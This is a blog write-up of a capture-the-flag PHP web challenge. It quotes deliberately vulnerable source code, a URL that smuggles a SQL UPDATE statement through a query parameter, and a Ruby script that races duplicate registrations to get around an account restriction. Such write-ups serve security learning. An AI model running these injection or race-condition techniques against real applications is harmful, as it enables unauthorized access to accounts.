I like to think of myself as being pretty good at Web stuff. I mean, it's a large part of my job and career. So when I couldn't immediately find the vulnerability on a small PHP app, I felt like a bit of an idiot.

I immediately noticed a complete lack of cross-site scripting and cross-site request forgery protections, but those don't lead to code execution so I needed something more. I also immediately noticed an auth bypass vulnerability, where the server would tell you the password for a chosen user if you simply try to log in and type the password incorrectly. I also quickly noticed that you could create multiple accounts with the same name! But none of that was ultimately helpful (except the multiple accounts, actually).

Eventually, while scanning code over and over, I noticed this interesting construct in vote.php:

<?php
if($type === "up"){
        $sql = "UPDATE art SET karma=karma+1 where id='$id';";
} elseif($type === "down"){
        $sql = "UPDATE art SET karma=karma-1 where id='$id';";
}

mysqli_query($conn, $sql);
?>

mysqli_query($conn, $sql);

Before that block, $sql wasn't initialized. The block doesn't necessarily initialize it before it's used. That led me to an obvious conclusion: register_globals (aka, "remote administration for Joomla")!

I tried a few things to test it, but because the result of mysqli_query isn't actually used and errors aren't displayed, it was difficult to tell what was happening. I ended up setting up a local version of the challenge on a Debian VM just so I could play around (I find that having a good debug environment is a key to CTF success!)

After getting it going and turning on register_globals, and messing around a bunch, I found a good query I could use:

http://192.168.42.120/vote.php?sql=UPDATE+art+SET+karma=1000000+where+id='1'

That worked on my test app, so I confidently strode to the real app, ran it, and... nothing happened. Rats. Back to the drawing board.

The real vulnerability

So, the goal of the application was to obtain a user account that isn't restricted. When you create an account, it's immediately set to "restricted" by this code in register.php:

<?php
if(isset($_POST['username'])){
        $username = mysqli_real_escape_string($conn, $_POST['username']);
        $password = mysqli_real_escape_string($conn, $_POST['password']);

        $sql = "INSERT into users (username, password) values ('$username', '$password');";
        mysqli_query($conn, $sql);

        $sql = "INSERT into privs (userid, isRestricted) values ((select users.id from users where username='$username'), TRUE);";
        mysqli_query($conn, $sql);
        ?>
        <h2>SUCCESS!</h2>
        <?php
} else {
[...]
}
?>

Then on the login page, it's checked using this code:

<?php
if(isset($_POST['username'])){
        $username = mysqli_real_escape_string($conn, $_POST['username']);

        $sql = "SELECT * from users where username='$username';";
        $result = mysqli_query($conn, $sql);

        $row = $result->fetch_assoc();
        var_dump($_POST);
        var_dump($row);

        if($_POST['username'] === $row['username'] and $_POST['password'] === $row['password']){
                ?>
                <h1>Logged in as <?php echo($username);?></h1>
                <?php

                $uid = $row['id'];
                $sql = "SELECT isRestricted from privs where userid='$uid' and isRestricted=TRUE;";
                $result = mysqli_query($conn, $sql);
                $row = $result->fetch_assoc();
                if($row['isRestricted']){
                        ?>
                        <h2>This is a restricted account</h2>

                        <?php
                }else{
                        ?>
                        <h2><?php include('../key');?></h2>
                        <?php

                }


        ?>
        <h2>SUCCESS!</h2>
        <?php
        }
} else {
[...]
}

My gut reaction for far too long was that it's impossible to bypass that check, because it only selects rows where isRestricted=true!

But after fighting with the register_globals non-starter above, I realized that if there were no matching rows in the privs database, it would return zero results and the check would pass, allowing me access! But how to do that?

I went back to the user creation code in register.php and noticed that the creation code creates the user, then restricts it! There's a lesson to programmers: secure by default.

$sql = "INSERT into users (username, password) values ('$username', '$password');";
mysqli_query($conn, $sql);

$sql = "INSERT into privs (userid, isRestricted) values ((select users.id from users where username='$username'), TRUE);";
mysqli_query($conn, $sql);

That means, if you can create a user account and log in immediately after, before the second query runs, then you can successfully get the key! But I didn't notice that till later, like, today. I actually found another path to exploitation! :)

My exploit

This is where things get a little confusing....

I first noticed there's a similar vulnerability in the code that inserts the account restriction into the user table. There's no logic in the application to prevent the creation of multiple user accounts with the same name! And, if you create multiple accounts with the same name, it looked like only the first account would ever get restricted.

That was my reasoning, anyways (I don't think that's actually true, but that turned out not to matter). However, on login, only the first account is actually retrieved from the database! My thought was, if you could get those two SQL statements to run concurrently, so they run intertwined between two processes, it might just put things in the right order for an exploit!

Sorry if that's confusing to you—that logic is flawed in like every way imaginable, I realized afterwards, but I implemented the code anyways. Here's the main part (you can grab the full exploit here):

require 'httparty'

TARGET = "http://aart.2015.ghostintheshellcode.com/"
#TARGET = "http://192.168.42.120/"

name = "ron" + rand(100000).to_s(16)

fork()

t1 = Thread.new do |t|
  response = (HTTParty.post("#{TARGET}/register.php", :body => { :username => name, :password => name }))
end

t2 = Thread.new do |t|
  response = (HTTParty.post("#{TARGET}/register.php", :body => { :username => name, :password => name }))
end

I ran that against my test host and checked the database. Instead of failing miserably, like it by all rights should have, it somehow caused the second query—the INSERT into privs code— to fail entirely! I attempted to log in as the new user, and it gave me the key on my test server.

Honestly, I have no idea why that worked. If I ran it multiple times, it worked somewhere between 1/2 and 1/4 of the time. Not bad, for a race condition! It must have caused a silent SQL error or something, I'm not entirely sure.

Anyway, I then I tried running it against the real service about 100 times, with no luck. I tried running one instance and a bunch in parallel. No deal. Hmm! From my home DSL connection, it was slowwwwww, so I reasoned that maybe there's just too much lag.

To fix that, I copied the exploit to my server, which has high bandwidth (thanks to SkullSpace for letting me keep my gear there :) ) and ran the same exploit, which worked on the first try! That was it, I had the flag.

Conclusion

I'm not entirely sure why my exploit worked, but it worked great (assuming decent latency)!

I realize this challenge (and story) aren't super exciting, but I like that the vulnerability was due to a race condition. Something nice and obscure, that we hear about and occasionally fix, but almost never exploits. Props to the GitS team for creating the challenge!

And also, if anybody can see what I'm missing, please drop me an email ron @ skullsecurity.net) and I'll update this blog. I approve all non-spam comments, eventually, but I don't get notifications for them at the moment.